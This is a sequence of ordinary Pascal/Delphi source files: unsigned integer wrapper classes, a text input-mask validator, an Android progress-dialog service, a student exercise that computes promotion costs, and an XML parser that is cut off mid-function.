UnsignedByte.parseByte(aValue: String; Radix: Int32): SByte; begin if aValue = nil then raise new NullPointerException; var Parsed := Int16.parseShort(aValue, Radix); if (Parsed and MASK) <> Parsed then raise new NumberFormatException("For input string: " + aValue); exit SByte(Parsed); end; class method UnsignedByte.valueOf(aValue: SByte): UnsignedByte; begin exit new UnsignedByte(aValue); end; method UnsignedByte.equals(aOther: Object): Boolean; begin var lb := UnsignedByte(aOther); exit (lb <> nil) and (lb.fValue = fValue); end; method UnsignedByte.hashCode: Integer; begin exit fValue; end; { UnsignedShort } class method UnsignedShort.unsignedToDouble(aValue: Int16): Double; begin exit Double(aValue) + if aValue < 0 then 65536.0 else 0.0; end; class method UnsignedShort.unsignedToFloat(aValue: Int16): Single; begin exit Single(aValue) + if aValue < 0 then Single(65536.0) else Single(0.0); end; class method UnsignedShort.doubleToUnsigned(aValue: Double): Int16; begin if aValue > 32767.0 then exit Int16(Double(aValue) - 65536.0) else exit Int16(aValue); end; class method UnsignedShort.floatToUnsigned(aValue: Single): Int16; begin if aValue > Single(32767.0) then exit Int16(Single(aValue) - Single(65536.0)) else exit Int16(aValue); end; constructor UnsignedShort(aValue: Int16); begin fValue := aValue; end; constructor UnsignedShort(aValue: String); begin fValue := parseShort(aValue, 10); end; method UnsignedShort.toString: String; begin exit toString(fValue); end; class method UnsignedShort.toString(aValue: Int16): String; begin exit Integer.toString(ToInt(aValue)); end; method UnsignedShort.compareTo(Value: UnsignedShort): Integer; begin if Value = nil then raise new NullPointerException; exit Int16.compare(fValue + Int16.MIN_VALUE, Value.fValue + Int16.MIN_VALUE); end; method UnsignedShort.intValue: RemObjects.Oxygene.System.Integer; begin exit ToInt(fValue); end; method UnsignedShort.longValue: RemObjects.Oxygene.System.Int64; begin exit ToInt(fValue); end; method UnsignedShort.floatValue: RemObjects.Oxygene.System.Single; begin exit unsignedToFloat(fValue); end; method UnsignedShort.doubleValue: RemObjects.Oxygene.System.Double; begin exit unsignedToDouble(fValue); end; class method UnsignedShort.unsignedDivide(aValue: Int16; aWith: Int16): Int16; begin exit Int16(ToInt(aValue) div ToInt(aWith)); end; class method UnsignedShort.unsignedRemainder(aValue: Int16; aWith: Int16): Int16; begin exit Int16(ToInt(aValue) mod ToInt(aWith)); end; class method UnsignedShort.ToInt(aValue: Int16): Integer; begin exit aValue and MASK; end; method UnsignedShort.byteValue: RemObjects.Oxygene.System.SByte; begin exit SByte(fValue); end; method UnsignedShort.shortValue: RemObjects.Oxygene.System.SmallInt; begin exit fValue; end; class method UnsignedShort.parseShort(aValue: String): Int16; begin exit parseShort(aValue, 10); end; class method UnsignedShort.parseShort(aValue: String; Radix: Int32): Int16; begin if aValue = nil then raise new NullPointerException; var Parsed := Int32.parseInt(aValue, Radix); if (Parsed and MASK) <> Parsed then raise new NumberFormatException("For input string: " + aValue); exit Int16(Parsed); end; method UnsignedShort.equals(aOther: Object): Boolean; begin var lb := UnsignedShort(aOther); exit (lb <> nil) and (lb.fValue = fValue); end; method UnsignedShort.hashCode: Integer; begin exit fValue; end; class method UnsignedShort.valueOf(aValue: Int16): UnsignedShort; begin exit new UnsignedShort(aValue); end; { UnsignedInteger } class method UnsignedInteger.unsignedToDouble(aValue: Int32): Double; begin exit Double(aValue) + if aValue < 0 then 4294967296.0 else 0.0; end; class method UnsignedInteger.unsignedToFloat(aValue: Int32): Single; begin exit Single(aValue) + if aValue < 0 then Single(4294967296.0) else Single(0.0); end; class method UnsignedInteger.doubleToUnsigned(aValue: Double): Int32; begin if aValue > 2147483647.0 then exit Int32(Double(aValue) - 4294967296.0) else exit Int32(aValue); end; class method UnsignedInteger.floatToUnsigned(aValue: Single): Int32; begin if aValue > Single(2147483647.0) then exit Int32(Single(aValue) - Single(4294967296.0)) else exit Int32(aValue); end; constructor UnsignedInteger(aValue: Int32); begin fValue := aValue; end; constructor UnsignedInteger(aValue: String); begin fValue := parseInt(aValue, 10); end; method UnsignedInteger.toString: String; begin exit toString(fValue); end; class method UnsignedInteger.toString(aValue: Int32): String; begin exit toString(aValue, 10); end; class method UnsignedInteger.toString(aValue: Int32; Radix: Int32): String; begin exit Long.toString(ToLong(aValue), Radix); end; class method UnsignedInteger.toBinaryString(aValue: Int32): String; begin exit toString(aValue, 2); end; class method UnsignedInteger.toHexString(aValue: Int32): String; begin exit toString(aValue, 16); end; class method UnsignedInteger.toOctalString(aValue: Int32): String; begin exit toString(aValue, 8); end; method UnsignedInteger.compareTo(Value: UnsignedInteger): Integer; begin if Value = nil then raise new NullPointerException; exit Integer.compare(fValue + Integer.MIN_VALUE, Value.fValue + Integer.MIN_VALUE); end; method UnsignedInteger.intValue: RemObjects.Oxygene.System.Integer; begin exit fValue; end; method UnsignedInteger.longValue: RemObjects.Oxygene.System.Int64; begin exit ToLong(fValue); end; method UnsignedInteger.floatValue: RemObjects.Oxygene.System.Single; begin exit unsignedToFloat(fValue); end; method UnsignedInteger.doubleValue: RemObjects.Oxygene.System.Double; begin exit unsignedToDouble(fValue); end; class method UnsignedInteger.unsignedDivide(aValue: Int32; aWith: Int32): Int32; begin exit Int32(ToLong(aValue) div ToLong(aWith)); end; class method UnsignedInteger.unsignedRemainder(aValue: Int32; aWith: Int32): Int32; begin exit Int32(ToLong(aValue) mod ToLong(aWith)); end; class method UnsignedInteger.ToLong(aValue: Int32): Int64; begin exit aValue and MASK; end; method UnsignedInteger.byteValue: RemObjects.Oxygene.System.SByte; begin exit SByte(fValue); end; method UnsignedInteger.shortValue: RemObjects.Oxygene.System.SmallInt; begin exit Int16(fValue); end; class method UnsignedInteger.parseInt(aValue: String): Int32; begin exit parseInt(aValue, 10); end; class method UnsignedInteger.parseInt(aValue: String; Radix: Int32): Int32; begin if aValue = nil then raise new NullPointerException; var Parsed := Long.parseLong(aValue, Radix); if (Parsed and MASK) <> Parsed then raise new NumberFormatException("For input string: " + aValue); exit Int32(Parsed); end; method UnsignedInteger.equals(aOther: Object): Boolean; begin var lb := UnsignedInteger(aOther); exit (lb <> nil) and (lb.fValue = fValue); end; method UnsignedInteger.hashCode: Integer; begin exit fValue; end; class method UnsignedInteger.valueOf(aValue: Int32): UnsignedInteger; begin exit new UnsignedInteger(aValue); end; { UnsignedLong } class method UnsignedLong.unsignedToDouble(aValue: Int64): Double; begin exit Double(aValue) + if aValue < 0 then 18446744073709551616.0 else 0.0; end; class method UnsignedLong.unsignedToFloat(aValue: Int64): Single; begin exit Single(aValue) + if aValue < 0 then Single(18446744073709551616.0) else Single(0.0); end; class method UnsignedLong.doubleToUnsigned(aValue: Double): Int64; begin if aValue > 9223372036854775807.0 then exit Int64(Double(aValue) - 18446744073709551616.0) else exit Int64(aValue); end; class method UnsignedLong.floatToUnsigned(aValue: Single): Int64; begin if aValue > Single(9223372036854775807.0) then exit Int64(Single(aValue) - Single(18446744073709551616.0)) else exit Int64(aValue); end; constructor UnsignedLong(aValue: Int64); begin fValue := aValue; end; constructor UnsignedLong(aValue: String); begin fValue := parseLong(aValue, 10); end; method UnsignedLong.toString: String; begin exit toString(fValue); end; class method UnsignedLong.toString(aValue: Int64): String; begin exit toString(aValue, 10); end; class method UnsignedLong.toString(aValue: Int64; Radix: Int32): String; begin if (Radix < Character.MIN_RADIX) or (Radix > Character.MAX_RADIX) then Radix := 10; if aValue >= 0 then exit Long.toString(aValue, Radix); var buf := new Char[Long.SIZE]; var pos: Int32 := buf.length; while true do begin var reminder := unsignedRemainder(aValue, Radix); aValue := unsignedDivide(aValue, Radix); dec(pos); buf[pos] := Character.forDigit(reminder, Radix); if aValue = 0 then break; end; exit new String(buf, pos, buf.length - pos); end; class method UnsignedLong.toBinaryString(aValue: Int64): String; begin exit toString(aValue, 2); end; class method UnsignedLong.toHexString(aValue: Int64): String; begin exit toString(aValue, 16); end; class method UnsignedLong.toOctalString(aValue: Int64): String; begin exit toString(aValue, 8); end; method UnsignedLong.compareTo(Value: UnsignedLong): Integer; begin if Value = nil then raise new NullPointerException; exit UnsignedCompare(fValue, Value.fValue); end; method UnsignedLong.intValue: RemObjects.Oxygene.System.Integer; begin exit fValue; end; method UnsignedLong.longValue: RemObjects.Oxygene.System.Int64; begin exit fValue; end; method UnsignedLong.floatValue: RemObjects.Oxygene.System.Single; begin exit unsignedToFloat(fValue); end; method UnsignedLong.doubleValue: RemObjects.Oxygene.System.Double; begin exit unsignedToDouble(fValue); end; class method UnsignedLong.unsignedDivide(aValue: Int64; aWith: Int64): Int64; begin if aWith < 0 then exit if UnsignedCompare(aValue, aWith) < 0 then 0 else 1; if aValue >= 0 then exit aValue div aWith; var Quotient: Int64 := (unsignedShr(aValue, 1) div aWith) shl 1; var Reminder: Int64 := aValue - Quotient * aWith; exit Quotient + if UnsignedCompare(Reminder, aWith) >= 0 then 1 else 0; end; class method UnsignedLong.unsignedRemainder(aValue: Int64; aWith: Int64): Int64; begin if aWith < 0 then exit if UnsignedCompare(aValue, aWith) < 0 then aValue else aValue - aWith; if aValue >= 0 then exit aValue mod aWith; var Quotient: Int64 := (unsignedShr(aValue, 1) div aWith) shl 1; var Reminder: Int64 := aValue - Quotient * aWith; exit Reminder - if UnsignedCompare(Reminder, aWith) >= 0 then aWith else 0; end; class method UnsignedLong.UnsignedCompare(X: Int64; Y: Int64): Integer; begin exit Int64.compare(X + Int64.MIN_VALUE, Y + Int64.MIN_VALUE); end; method UnsignedLong.byteValue: RemObjects.Oxygene.System.SByte; begin exit SByte(fValue); end; method UnsignedLong.shortValue: RemObjects.Oxygene.System.SmallInt; begin exit Int16(fValue); end; class method UnsignedLong.parseLong(aValue: String): Int64; begin exit parseLong(aValue, 10); end; class method UnsignedLong.parseLong(aValue: String; Radix: Int32): Int64; begin if aValue = nil then raise new NullPointerException; var Parsed := new java.math.BigInteger(aValue, Radix); var Mask := new java.math.BigInteger("FFFFFFFFFFFFFFFF", 16); if Parsed.and(Mask).compareTo(Parsed) <> 0 then raise new NumberFormatException("For input string: " + aValue); exit Parsed.longValue; end; method UnsignedLong.equals(aOther: Object): Boolean; begin var lb := UnsignedLong(aOther); exit (lb <> nil) and (lb.fValue = fValue); end; method UnsignedLong.hashCode: Integer; begin exit fValue; end; class method UnsignedLong.valueOf(aValue: Int64): UnsignedLong; begin exit new UnsignedLong(aValue); end; end.
{* Mascara de captura Clase genereda para validar la captura de caracteres en un texto con forma, tamaño y campos especificos. Se realiza un validación en tiempo real y otra al salir del texto. @Author INEGI @Version 1.0.0.8 } unit ValidarMascara; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,StrUtils; type Tmask=class function ObtenerMarcadores(s : String): String; function MarcadoresAnteriores(pos : Integer):Integer; function PosicionMarcadorIzq(texto : String; marcasAnteriores : Integer):Integer; function SaltarMarcadoresDer(texto : String; posCasillaInicial : Integer):Integer; function SaltarMarcadoresIzq(texto : String; posCasillaInicial : Integer):Integer; function ContarLetrasEntreMarcadores(texto : String; MarcasAnteriores : Integer):Integer; function PosicionMarcadorTextoIzq(marcasAnteriores : Integer):Integer; function SaltarMarcadoresTextoDer(posCasillaInicial : Integer):Integer; function SaltarMarcadoresTextoIzq(posCasillaInicial : Integer):Integer; function ContarLetrasEntreMarcadoresTexto(MarcasAnteriores : Integer):Integer; function CaracterInvalido(input, maskedChar : Char):Boolean; function EsMarcador(letra : Char):Boolean; function EsPermitido(letra : Char):Boolean; procedure Eliminar(var posicion: Integer; var texto : String); procedure EliminarMultiples(var posicion: Integer; cantidad : Integer; var texto : String); procedure Suprimir(var posicion: Integer; selCount : Integer; var texto : String); function Agregar(var posicion : Integer;key : Char ;mascara:String; var texto : String; recursivo : Boolean = False):Boolean; procedure TeclaPresionada(var posicion : Integer; selCount : Integer; key : Char ;mascara:String; var texto : String ); function ValidarTexto(mascara, texto : String) : Boolean; private const ValoresRyP : String = 'LlAa09#'; const ValoresPermitidos : String = 'la9#'; const ok : Char = '1'; const ng : Char = '0'; public end; var bufferPosicion : Integer = 0; markups, bandMarcadores : String; implementation {* Funcion para obtener todos los marcadores o caracteres constantes dentro de una cadena de texto predefina. El algóritmo requiere de una bandera que concentre todos los marcadores con el mismo caracter para distinguir entre los marcadores iniciales y los que se introduzcan como texto variable. @param s Cadena con la mascara de control. @return Marcadores incluidos en la cadenas. } function Tmask.ObtenerMarcadores(s : String): String; var i,j,counter:Integer; begin counter:=0; markups := ''; bandMarcadores := ''; for i := 1 to Length(s) do begin if not ContainsText(ValoresRyP,s[i]) then begin inc(counter); Insert(s[i], markups, counter); //Llenar dinamicamente los marcadores Insert(ok, bandMarcadores, counter);//Crear bandera de marcadores end; end;//s result := markups; end; {* Contar los marcadores anterioriores que aparecen en la bandera de los marcadores.} function Tmask.MarcadoresAnteriores(pos : Integer):Integer; var i: Integer; begin result := 0; for i := 1 to pos - 1 do if bandMarcadores[i] = ok then inc(result); end; {* Detectar la posición del marcador izquierdo que corresponda con los marcadores anteriores en la bandera de marcadores.} function Tmask.PosicionMarcadorTextoIzq(marcasAnteriores : Integer):Integer; var marcasMascara,i :Integer; begin marcasMascara := 0; result := 0; if ((Length(bandMarcadores) = 0) or (marcasAnteriores = 0)) then result := 1 else begin for i := 1 to Length(bandMarcadores) do begin if bandMarcadores[i] = ok then inc(marcasMascara); if marcasMascara = marcasAnteriores then begin result:= i;//Detecta posición en la bandera del texto break; end; end; end; end; {* Detectar la posición del marcador izquierdo que corresponda con los marcadores anteriores en la mascara. @param texto Texto a procesar @param marcasAnteriores Cantidad de marcas a la izquierda del cursor } function Tmask.PosicionMarcadorIzq(texto : String; marcasAnteriores : Integer):Integer; var marcasMascara,i :Integer; begin marcasMascara := 0; result := 0; if ((Length(texto) = 0) or (marcasAnteriores = 0)) then result := 1 else begin for i := 1 to Length(texto) do begin if EsMarcador(texto[i]) then inc(marcasMascara); if marcasMascara = marcasAnteriores then begin result:= i;//Detecta posición en el texto break; end; end; end; end; {* Conteo de marcadores encontrados en la posicion actual, el ciclo aumenta el valor por cada marcador contiguo en la mascara encontrado a la derecha} function Tmask.SaltarMarcadoresDer(texto : String; posCasillaInicial : Integer):Integer; var i : Integer; begin result := 0; for i := posCasillaInicial to length(texto) do if EsMarcador(texto[i]) then inc(result) else break; end; {* Conteo de marcadores encontrados en la posicion actual, el ciclo aumenta el valor por cada marcador contiguo en la bandera de Marcadores encontrado a la derecha} function Tmask.SaltarMarcadoresTextoDer(posCasillaInicial : Integer):Integer; var i : Integer; begin result := 0; if bandMarcadores <> '' then begin for i := posCasillaInicial to length(bandMarcadores) do if bandMarcadores[i] = ok then inc(result) else break; end; end; {* Conteo de marcadores encontrados en la posicion actual, el ciclo aumenta el valor por cada marcador contiguo en la mascara encontrado a la izquierda} function Tmask.SaltarMarcadoresIzq(texto : String; posCasillaInicial : Integer):Integer; var i : Integer; begin result := 0; for i := posCasillaInicial downto 1 do if EsMarcador(texto[i]) then inc(result) else break; end; {* Conteo de marcadores encontrados en la posicion actual, el ciclo aumenta el valor por cada marcador contiguo en la bandera de Marcadores encontrado a la izquierda} function Tmask.SaltarMarcadoresTextoIzq(posCasillaInicial : Integer):Integer; var i : Integer; begin result := 0; if bandMarcadores <> '' then begin for i := posCasillaInicial downto 1 do if bandMarcadores[i] = ok then inc(result) else break; end; end; {* Contador de espacios detectados entre dos marcadores de la mascara, tomando como referencia las marcas anteriores detectadas en el texto} function Tmask.ContarLetrasEntreMarcadores(texto : String; MarcasAnteriores : Integer):Integer; var marcasMascara,i : Integer; begin marcasMascara := 0; result := 0; for i := 1 to Length(texto) do begin if EsMarcador(texto[i]) then inc(marcasMascara); if marcasMascara = marcasAnteriores then if not( EsMarcador(texto[i])) then inc(result); end; end; {* Contador de espacios detectados entre dos marcadores de la bandera de marcadores, tomando como referencia las marcas anteriores detectadas en el texto} function Tmask.ContarLetrasEntreMarcadoresTexto(MarcasAnteriores : Integer):Integer; var marcasMascara,i : Integer; begin marcasMascara := 0; result := 0; for i := 1 to Length(bandMarcadores) do begin if bandMarcadores[i] = ok then inc(marcasMascara); if marcasMascara = marcasAnteriores then if not( bandMarcadores[i]= ok) then inc(result); end; end; {* Comparación simple entre un caracter de entrada y el caracter correspondiente a la mascara.} function Tmask.CaracterInvalido(input, maskedChar : Char):Boolean; begin result := True; case maskedChar of '0': if (input in ['0'..'9']) then result := False; '9': if (input in ['0'..'9']) then result := False; '#': if (input in ['0'..'9','+','-']) then result := False; 'L': if (input in ['a'..'z','A'..'Z', 'ñ', 'Ñ']) then result := False; 'l': if (input in ['a'..'z','A'..'Z', 'ñ', 'Ñ']) then result := False; 'A': if (input in ['a'..'z','A'..'Z','0'..'9', 'ñ', 'Ñ']) then result := False; 'a': if (input in ['a'..'z','A'..'Z','0'..'9', 'ñ', 'Ñ']) then result := False; else if EsMarcador(input) then //Utilizado para la validación result := False; end; end; {* Función para detectar cuando un caracter forma parte de los marcadores detectados en la mascara} function Tmask.EsMarcador(letra : Char):Boolean; begin result := AnsiContainsStr(markups,letra); end; {* Función para detectar cuando un caracter es de un tipo permitido en la mascara, su función es especifica para la validación final de la cadena} function Tmask.EsPermitido(letra : Char):Boolean; begin result := AnsiContainsStr(ValoresPermitidos,letra); end; {* Selector inicial del metodo a lanzar, depende de la tecla presionada} procedure Tmask.TeclaPresionada(var posicion: Integer;selCount : Integer; key: Char; mascara: String; var texto: String); begin if (key = #8) then case selCount of 0: Eliminar(posicion,texto); else EliminarMultiples(posicion,selCount,texto) end else begin inc(posicion); Agregar(posicion,key,mascara,texto); end; end; {* Función para eliminar un caracter único en el texto de entrada, la función calcula cuando marcadores hay a la izquierda y desplaza la posición hasta la ubicación del proximo caracter variable} procedure Tmask.Eliminar(var posicion: Integer; var texto : String); var saltaMarcadores : Integer; begin if (texto <> '') then begin saltaMarcadores := SaltarMarcadoresTextoIzq(posicion); //Detecta cuantos marcadores se deben saltar posicion := posicion - saltaMarcadores;//Avanza el cursor los espacios necesarios para saltar los marcadores if bandMarcadores = '' then Delete(texto,posicion,1) else if not(bandMarcadores[posicion] = ok) then begin Delete(texto,posicion,1); Delete(bandMarcadores, posicion,1); end; dec(posicion); end; end; {* Funcion para eliminar mas de un caracter, el ciclo almacena en la memoria la bandera de posición para saltar los marcadores necesarios y a su vez borrar los caracteres variables del texto y de la bandera de posición del grupo seleccionado} procedure Tmask.EliminarMultiples(var posicion: Integer; cantidad : Integer; var texto : String); var i, posFinal,eliminados : Integer; bufferText : String; begin if (texto <> '') then begin inc(posicion); posFinal := cantidad + posicion - 1; bufferText := bandMarcadores; eliminados := 0; if bandMarcadores = '' then begin for i := posicion to posFinal do begin Delete(Texto,i - eliminados, 1); inc(eliminados); end; end else for i := posicion to posFinal do if not(bufferText[i] = ok) then begin Delete(Texto,i - eliminados, 1); Delete(bandMarcadores, i - eliminados,1); inc(eliminados); end; dec(posicion); end; end; {* Función para suprimir un caracter único en el texto de entrada, la función calcula cuando marcadores hay a la derecha y desplaza la posición hasta la ubicación del proximo caracter variable, en caso de tener mas de uno seleccionado se llama a la función EliminarMultiples} procedure Tmask.Suprimir(var posicion: Integer; selCount : Integer; var texto : String); var saltaMarcadores : Integer; begin if (texto <> '') then begin if selCount > 0 then EliminarMultiples(posicion,selCount,texto) else begin inc(posicion); saltaMarcadores := SaltarMarcadoresTextoDer(posicion); //Detecta cuantos marcadores se deben saltar posicion := posicion + saltaMarcadores;//Avanza el cursor los espacios necesarios para saltar los marcadores if bandMarcadores = '' then Delete(texto,posicion,1) else if not( bandMarcadores[posicion] = ok) then begin Delete(texto,posicion,1); Delete(bandMarcadores, posicion, 1); end; dec(posicion); end; end; end; {* Funcion recursiva para Agregar un caracter previamente validado y ubicado en la posición correspondiente. El proceso detecta en cual marcador se encuentra el cursor del texto y obtiene la posición de los marcadores más proximos a la izquierda en la mascara y en el texto. Despues obtiene la posición correspondiente en la mascara, cuenta los marcadores que hay a la derecha en la mascara y lo suma a la posición del cursor, obtiene la cantidad de letras que deberia de llevar el grupo en la mascara y cuenta las que se han ingresado hasta el momento en el texto, se valida que el caracter es valido, si si lo es y aun hay espacios por llenar se inserta en el texto, caso contrario lo modifica y llama a la función de forma recursiva hasta que el caracter no sea valido o ya no exitan espacios en el texto. } function Tmask.Agregar(var posicion : Integer;key : Char ;mascara:String; var texto : String; recursivo : Boolean = False):Boolean; var saltaMarcadores,marcasAnteriores, letrasMedias, letrasDentro, posMarcadorMascara,posMarcadorTexto,posCasillaMascara: Integer; buffer : Char; begin if (mascara = '') then begin Insert(key, texto,posicion); System.Exit; end; marcasAnteriores:= MarcadoresAnteriores(posicion);//Contar la marcas anteriores en el texto posMarcadorMascara := PosicionMarcadorIzq(mascara,marcasAnteriores);//Detectar posicion del ultimo marcador en la mascara posMarcadorTexto := PosicionMarcadorTextoIzq(marcasAnteriores);//Detectar posicion del ultimo marcador en el texto //Detectar cual es la casilla correspondiente en la mascara a la posicion del cursor. posCasillaMascara := posMarcadorMascara + posicion - posMarcadorTexto ; saltaMarcadores := SaltarMarcadoresDer(mascara,posCasillaMascara); //Detecta cuantos marcadores se deben saltar posicion := posicion + saltaMarcadores;//Avanza el cursor los espacios necesarios para saltar los marcadores letrasMedias := ContarLetrasEntreMarcadores(mascara,marcasAnteriores + saltaMarcadores); letrasDentro := ContarLetrasEntreMarcadoresTexto(marcasAnteriores + saltaMarcadores); //Valida el caracter introducido contra la mascara correspondiente result := false; if not (caracterInvalido(key,mascara[posCasillaMascara + saltaMarcadores])) then begin // Si la posicion cae dentro de la cadena y no es un marcador se actualiza el valor if ((posicion <= Length(texto))and not(bandMarcadores[posicion] = ok)) then begin buffer := texto[posicion]; texto[posicion] := key; if not recursivo then bufferPosicion := posicion; inc(posicion); Agregar(posicion, buffer, mascara, texto,True); end else if ((letrasDentro < letrasMedias) and (Length(bandMarcadores) < Length(mascara))) then begin Insert(key, texto,posicion); Insert(ng, bandMarcadores, posicion); end; result:= True; end else posicion := posicion - saltaMarcadores - 1; if recursivo then begin posicion := bufferPosicion; end; end; {* Validación final del texto contra la mascara, el texto debera coincidir con cada valor requerido, los valores permitidos seran brincados} function TMask.ValidarTexto(mascara, texto : String) : Boolean; var i,avanza: Integer; begin if (length(texto) > 0) then begin result := True; for i := 1 to Length(mascara) do begin if EsPermitido(mascara[i]) then begin if Length(texto) < Length(mascara) then Insert('?',texto,i); Continue; end; if CaracterInvalido(texto[i],mascara[i]) then begin result := False; Break; end; end; end; if (Length(mascara) = 0) then result := True; end; end.
unit Android.Services; interface uses XPlat.Services, Android.ProgressDialog, Androidapi.JNI.App; type TAndroidPleaseWait = class(TInterfacedObject, IPleaseWaitService) private class var FTitleText: string; FMessageText: string; public FDialog: JProgressDialog; procedure StartWait; procedure StopWait; class property TitleText: string read FTitleText write FTitleText; class property MessageText: string read FMessageText write FMessageText; class constructor Create; end; resourcestring rsPleaseWaitTitle = 'In progress'; rsPleaseWaitMessage = 'Please wait...'; implementation uses FMX.Platform, XPlat.IniFiles, System.IniFiles, System.IOUtils, FMX.Platform.Android, FMX.Helpers.Android, FMX.Dialogs, System.UITypes, System.SysUtils, Androidapi.Helpers; { TPleaseWaitService } class constructor TAndroidPleaseWait.Create; begin inherited; FTitleText := rsPleaseWaitTitle; FMessageText := rsPleaseWaitMessage; end; procedure TAndroidPleaseWait.StartWait; begin if not Assigned(FDialog) then CallInUIThreadAndWaitFinishing( procedure begin FDialog := TJProgressDialog.JavaClass.show(SharedActivity, StrToJCharSequence(FTitleText), StrToJCharSequence(FMessageText), False, False); end); end; procedure TAndroidPleaseWait.StopWait; begin if Assigned(FDialog) then begin FDialog.cancel; FDialog := nil; end; end; initialization // On Android, the ini file will be stored in TPath.GetDocumentsPath + '/Prefs.ini'. // For Android 4.2, this results in a path of '/data/data/<app package>/files/Prefs.ini'. // However, if you want to deploy a default ini file with your app, you should // set its Remote Path to 'Assets\Internal' when configuring the file for deployment. TPlatformServices.Current.AddPlatformService(IIniFileService, TXplatIniFile.Create); TPlatformServices.Current.AddPlatformService(IPleaseWaitService, TAndroidPleaseWait.Create); finalization TPlatformServices.Current.RemovePlatformService(IPleaseWaitService); TPlatformServices.Current.RemovePlatformService(IIniFileService); end.
{Una agencia organiza promociones en el verano y las ofrece a distintas empresas. De cada pedido que hace una Empresa se conoce: - Código de Empresa ( XXX = fin de datos) - Si desea Plotear el vehículo (S/N) - Cantidad de días que dura la promoción Además se sabe que el costo del pedido se calcula según la siguiente Tabla: Se pide desarrollar un programa Pascal que ingrese la lista de pedidos a satisfacer y luego calcule e informe: a) Para cada Empresa el costo del pedido. b) El máximo importe cotizado de las promociones que solicitaron ploteado del vehículo. Puede no haber promociones con ploteo. Ejemplo: Código Ploteo Días AAA1 S 12 BBB5 N 20 CCC7 S 5 DD3 S 10 XXX Precio base $8000 (incluye vehículo con chofer ) Ploteo del vehículo $5000 Días ($300 por día) < a7 días +15% 7 <= d <=15 igual precio / Más de 15 d -10% * Se pide desarrollar un programa Pascal que ingrese la lista de pedidos a satisfacer y luego calcule e informe: a) Para cada Empresa el costo del pedido. b) El máximo importe cotizado de las promociones que solicitaron ploteado del vehículo. Puede no haber promociones con ploteo. Para la solución usar una función Costo, que utilizando los parámetros que considere necesarios calcule el costo del pedido} Program agencia; Function Costo(plo:char; ds:byte):real; Var Pr:real; Begin Pr:= 0; Pr:= Pr + 8000 + (ds * 300); If(plo = 'S') then Pr:= Pr + 5000; Case ds of 1..6:Pr:= Pr * 1.15; 15..100:Pr:= Pr * 0.9; end; Costo:= Pr; end; Var Dias:byte; Cod:string[4]; Plot:char; Max,Aux:real; Begin Max:= 0; Aux:= 0; write('Ingrese el codigo de la empresa: ');readln(Cod); while (Cod <> 'XXX') do begin write('Desea plotear el auto? S/N: ');readln(Plot); write('Ingrese la cantidad de dias que dura la promocion: ');readln(Dias); Aux:= Costo(Plot,Dias); //Auxiliar para llamar a la funcion y empezar a calcular las condiciones siguientes. If (Plot = 'S') and (Aux > Max) then //Se evaluan las condiciones para determinar el pedido con ploteo de mayor costo. Max:= Aux; writeln('a- Costo del pedido: $',Costo(Plot,Dias):2:0); writeln; writeln; writeln('Si desea finalizar ingrese: XXX en lugar del codigo'); write('Ingrese el codigo de la empresa: ');readln(Cod); end; writeln; writeln('b- Maxima cotizacion con ploteo: $',Max:2:0); end.
unit MyXMLParser; interface uses Classes, SysUtils, common; type TAttr = record Name: String; Value: String; end; TAttrs = array of TAttr; TAttrList = class(TObject) private FAttrs: TAttrs; function GetAttr(AValue: Integer): TAttr; function GetCount: Integer; public property Attribute[AValue: Integer]: TAttr read GetAttr; default; property Count: Integer read GetCount; procedure Add(AName: String; AValue: String); procedure Clear; function Value(AName: String): String; function IndexOf(AName: String): Integer; constructor Create; destructor Destroy; override; end; TXMLOnTagEvent = procedure (ATag: String; Attrs: TAttrList) of object; TXMLOnEndTagEvent = procedure (ATag: String) of object; TXMLOnContentEvent = procedure (AContent: String) of object; TMyXMLParser = class(TObject) private FOnStartTag,FOnEmptyTag: TXMLOnTagEvent; FOnEndTag: TXMLOnEndTagEvent; FOnContent: TXMLOnContentEvent; protected public property OnStartTag: TXMLOnTagEvent read FOnStartTag write FOnStartTag; property OnEmptyTag: TXMLOnTagEvent read FOnEmptyTag write FOnEmptyTag; property OnEndTag: TXMLOnEndTagEvent read FOnEndTag write FOnEndTag; property OnContent: TXMLOnContentEvent read FOnContent write FOnContent; procedure Parse(S: String); overload; procedure Parse(S: TStrings); overload; end; implementation function TAttrList.GetAttr(AValue: Integer): TAttr; begin Result := FAttrs[AValue]; end; function TAttrList.GetCount: Integer; begin Result := length(FAttrs); end; procedure TAttrList.Add(AName: String; AValue: String); begin SetLength(FAttrs,length(FAttrs)+1); with FAttrs[length(FAttrs)-1] do begin Name := AName; Value := AValue; end; end; procedure TAttrList.Clear; begin FAttrs := nil; end; function TAttrList.Value(AName: String): String; var i: integer; begin Result := ''; for i := 0 to length(FAttrs) - 1 do if UPPERCASE(FAttrs[i].Name) = UPPERCASE(AName) then begin Result := FAttrs[i].Value; Break; end; end; function TAttrList.IndexOf(AName: String): Integer; var i: integer; begin Result := -1; for i := 0 to length(FAttrs) - 1 do if UPPERCASE(FAttrs[i].Name) = UPPERCASE(AName) then begin Result := i; Break; end; end; constructor TAttrList.Create; begin inherited; FAttrs := nil; end; destructor TAttrList.Destroy; begin SetLength(FAttrs,0); inherited; end; procedure TMyXMLParser.Parse(S: String); procedure parsetag(adata: string); function trimquotes(s: string): string; begin s := trim(s); if (length(s) > 0) and CharInSet(s[1],['"','''']) then delete(s,1,1); if (length(s) > 0) and CharInSet(s[length(s)],['"','''']) then delete(s,length(s),1); result := s; end; var tagname: string; lastattr,attrparams: string; attrs: TAttrList; i,li,l,state: integer; stat: integer; begin attrs := TAttrList.Create; lastattr := ''; tagname := ''; stat := 1; adata := REPLACE(adata,#13#10,' ',false,true); adata := REPLACE(adata,#9,' ',false,true); // adata := REPLACE(adata,' ',' ',false,true); adata := trim(adata)+' '; li := 1; l := length(adata); state := 0; for i := 1 to l do begin if li > i then continue; case adata[i] of '/': case state of 0: if tagname = '' then begin li :=i + 1; stat := -1; Break; end else begin if (lastattr <> '') then attrs.Add(lastattr,attrparams); lastattr := copy(adata,li,i-li); attrparams := ''; attrs.Add(lastattr,attrparams); stat := 0; Break; end; 1: if (i = l-1) and ((state = 1)and(CharInSet(adata[i-1],[' ','"',''''])) or (state = 0)) then begin attrparams := trimquotes(copy(adata,li,i-li)); attrs.Add(lastattr,attrparams); stat := 0; Break; end; end; ' ': case state of 0: begin if (tagname = '') then begin tagname := copy(adata,li,i-li); if (length(tagname) > 0) and CharInSet(tagname[1],['!']) then begin FreeAndNil(attrs); Exit; end; end else begin if lastattr <> '' then attrs.Add(lastattr,attrparams); lastattr := copy(adata,li,i-li); attrparams := ''; if lastattr = 